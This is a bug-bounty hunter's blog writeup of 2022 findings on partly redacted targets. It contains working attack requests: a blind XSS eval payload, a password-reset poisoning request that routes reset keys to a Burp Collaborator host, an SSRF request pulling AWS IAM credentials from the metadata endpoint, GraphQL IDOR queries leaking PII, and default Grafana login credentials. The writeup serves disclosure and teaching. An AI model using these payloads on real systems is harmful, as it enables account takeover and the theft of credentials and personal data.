“2022: A Year of Fascinating Discoveries”

“Hello and welcome to my writeup! In this report, I will be sharing details about some of the vulnerability that I discovered in redirected.com. I will provide a brief overview of the issue, a step-by-step breakdown of how I discovered and exploited them, and some recommendations on how you can find some similar vulnerabilities.

Without further ado, let’s dive into the details of the vulnerability.”

I have created this writeup on the basic of uniqueness, logic being used to exploit those bugs, the business impact and some of them are even funny:

Some of my findings of 2022:

Blind XSS in the Super admin panel of xyz, bypassing the one-time name limitation

Password reset link poisoning

IDOR vulnerability, which allows an attacker to find out the information of private videos of any user.

Account takevoer of Grafana(FOSS/OSS) due to default login in https://grafana.stg.ddd.xxx.xxx.redirect.com/

In-scope AWS bucket takeover.

IDOR vulnerability in GraphQL, leading to the leak of 10 million PII of the victim on https://graphql-catalog.app.redirect.com

Exploiting SSRF in xyz.com

Access control worth $2000 (everyone missed this IDOR+Access control between two admins.)

Brute-forcing the login page of a more than 9-year-old HackerOne public program using an iOS device:

Referrer based CSRF protection bypass:

To execute a referrer hiding attack, an attacker would create a webpage that contains a form or a link to a vulnerable website. When a user clicks on the form or link, a request is sent to the vulnerable website using the user’s browser. However, the attacker can manipulate the referrer information included in the request so that it appears to come from a trusted website rather than the attacker’s own webpage.

The site was using the referrer policy to protect against the CSRF attack and it could be bypassed by hosting the custom domain https://target.net.ourdomain.com/ . This domain bypasses the regex used to protect the CSRF attacks as the developer was checking whether the site contains target.net only. Due to this reason we were able to bypass it by adding .ourdomain.com

Here is an example of a regex pattern that was used by the developer to protect us from the CSRF attack

^(https?://)?([\da-z\.-]+)\.([a-z\.]{2,6})([/\w \.-]*)*\/?@$

It is possible that the regex pattern I provided above could potentially be bypassed by using a URL with a .ourdomain.com subdomain. This is because the pattern allows for any subdomain to be used, as long as it is followed by a period and a top-level domain (e.g., .com, .org, .net, etc.).

Referer: https://target.net.ourdomain.com

This can allow the attacker to bypass referrer-based CSRF protection, as the vulnerable website may not suspect that the request is actually coming from an untrusted source.

To prevent referrer hiding attacks, it is important to use strong, secure methods of CSRF protection, such as unique tokens or challenge-response mechanisms. It is also a good idea to regularly review and update your website’s security measures to ensure that they are effective against the latest threats.

Blind XSS in the Super admin panel of xyz bypassing one time name limitiation

  1. Install and open the iOS application.
  2. Log in to the app.
  3. Go to the profile or settings section of the app where you can change your password.
  4. Now, intercept the request and change your name:
POST /en-gb/register/savePassword HTTP/1.1
Host: my.xxx.eu
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://my.xxx.eu/en-gb/register/enterPassword
Content-Type: application/x-www-form-urlencoded
X-XSRF-TOKEN: XXXXXXXXXXXXXxxxxxxXXXXX
Content-Length: 117
Origin: https://my.xxx.eu
DNT: 1
Connection: close
Cookie: XXXXXXXXXXXXXXXxxxxxxXXXXx
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

nationality=NO&initials=my_first_name&lastName=XSSPAYLOAD!!!&password=my_pass

5. Set the payload "><input onfocus=eval(atob(this.id)) id=XXXXXXXXXXXXxxxxxxxxxxxxxxxxxxxxxxxXxxxxxxXXXXxxxXXXxx autofocus> as your initials/lastName.

6. Save the changes to your profile.

XSS in the super admin panel of xyz.com

Password reset link poisoning

1: Make the below request with the victims email address and you can use baseURL as the burp collaborator link.

POST /pub/v1/users/reset-password/send-email HTTP/1.1
Host: account-api.redirect.com.sg
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://subscribe.sph.com.sg/your-profile/
content-Type: application/json
Origin: https://subscribe.redirect.com.sg
Content-Length: 166
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

{"loginId":"victimsEmail@gmail.com","svcFlag":"reg_eshop","baseURL":"https://XXXXxxxXXXXX.burpcollaborator.net","lang":"en","type":"createPassword"}

2: Now, the email is send to the victims email. That should look like below:

3: Now notice the ?createPassword=true&createPasswordKey=82068811-193a-4189-959a-04aa58caaa64&svcFlag=reg_eshop being added to your burp collaborator link.

4: When the link is clicked by victim, the createPasswordKey is send to an attacker account.

IDOR vulnerability which leads an attacker to find out the information of private videos of any users.

Hello team,

I have found a security vulnerability in your platform that allows an attacker to find out the information, such as themes, soundtrack, length_supported, etc., of a private video of any victim. The vsid parameter is encrypted in the web application and is completely random, but when we make this API request using an iOS device, it becomes numerical.

Steps To Reproduce:

I am using Crane application to create multiple container in an ios device:

1: From your IOS device, make a GET request to /api/XxxXX/creds?vsid=xxxxxx

Your Request should look like below:

2: Make a GET request to a private video’s vsid.

3: You will get the information about the victims Private video.

?vsid=579306897 parameter is vulnerable to IDOR attack, which is exposing the information about the private videos

Impact

An attacker is able to find out the information about the victims private video by exploiting this vulnerability.

Can’t give more information about this bug as it is still in the state of pending review from the internal team.

Account takevoer of Grafana(FOSS/OSS) due to default login in https://grafana.stg.ddd.xxx.xxx.redirect.com/

Summary:

Hello team,

I had found the default login of your grafana and was able to takeover at https://grafana.stg.4988b21.ddd.xxx.redirect.com/

Steps To Reproduce:

1: Go to https://grafana.stg.4988b21.ddd.xxx.redirect.com/

2: Login to grafana using username as “admin” and password as “Test@123

3: You will be logged in to grafana.

In-scope AWS bucket takeover.

It is funny as it was in scope domain.

IDOR vulnerability in graphql leading to 10 million PII leakage of victim in https://graphql-catalog.app.redirected.com

I was using the older version of BurpSuite, which includes the spider function, instead of the new version, which only includes the crawl function in the professional version. It’s important to use both versions because we don’t want to miss anything. I discovered a deep subdomain while spidering, and then I tried to find a vulnerability in the GraphQL-enabled subdomain. When I got stuck, I asked my professor, Mr. Hari Regmi, for help because he is very knowledgeable about GraphQL exploitation.

About this vulnerability

The vulnerability was an IDOR and was disclosing information’s about more then 10 million users. The PII’s were phone number, email, locations, and so on…

Whats cool about this vulnerability?

1: Interception query was disabled, which means we have to manually craft the graphQL request.

2: It was disclosing more then 10 million PII’s, if was found by some malicious actors then it could have been a disaster.

3: It is related with the graphQL.

Steps to reproduce:

1: Make the below POST request using the victims userID

POST /?p=graphql HTTP/1.1
Host: graphql-catalog.xxx.redirect.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/json
Content-Length: 106
{"query": "query {user(id:\"XXXXXXXXXXXXXXXXXXXXXXXXXXXXX\"){id,email,firstName,phoneNumber}}"}

2: Request like below are disclosing the userID as, get parameter are used in wild reveling the userID. An attacker on the same network is able to get the userID of the victims just by intercepting the network traffic. Also the userID is being leaked in the image url if the user has made their profile public.

GET /content/DecryptRewardsCode?encryptedRewardsCode=OZ1KPJKMiI7EH2vOfAJ98QMFxpC6iR1CeRtpKpRxd9hHfF%2BMLrU9WcP9Dqj6EJ9DNEGRfZsR%2Fs6p2wTWRQvxExfBjRwN%2B4lSvHQp9odcNBE%3D  HTTP/1.1
Host: np.redirect.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
If-Modified-Since: Thu, 06 Jan 2022 07:14:04 GMT
Cache-Control: max-age=0

Exploiting SSRF in xyz.com

POST /cache/ HTTP/1.1
Host: snapshot-proxy.redirect.io
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
Content-Length: 107
Origin: https://staging.redirect.io
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Referer: https://staging.redirect.io/
Connection: close

{“url”:”http://169.254.169.254/latest/meta-data/iam/security-credentials/xxx-source-snapshot-access-role"}

2: Now, send the get request:

GET /cache/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/redirect-source-snapshot-access-role HTTP/1.1
Host: snapshot-proxy.redirect.io
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
Origin: https://staging.redirect.io
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Referer: https://staging.redirect.io/
Connection: close

Access control worth $2000 (everyone missed this IDOR+Access control between two admins.)

Brute-force in the login page of more than 9 years old hackerone’s public program using an IOS device:

You can find easy bugs like this more easily if you focus on iOS or Android applications, rather than web applications. This is because fewer people (less than 10%) focus on iOS apps, while more (over 20%) focus on Android apps. As a result, the probability of finding such bugs is higher in iOS or Android apps.

Why I am forcing you guys to connect in the ios hacking journey?
Because there are fewer people working on iOS and vulnerabilities like this are common in iOS applications, once you’ve completed all of the necessary steps like jailbreaking, bypassing SSL pinning, and bypassing jailbreak detection, you will likely find vulnerabilities.

I hope you enjoyed this story, feel free to follow me on Twitter/Instagram and clap to this story, until next time.

https://twitter.com/dhakal__bibek
https://www.instagram.com/dhakal_bibk/

Till then, バイバイ.

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
dhakal_bibek

Security Researcher | works @vairavtech | Bug Bounty Hunter From 🇳🇵| Your IOS application needs a security service? | https://twitter.com/dhakal__bibek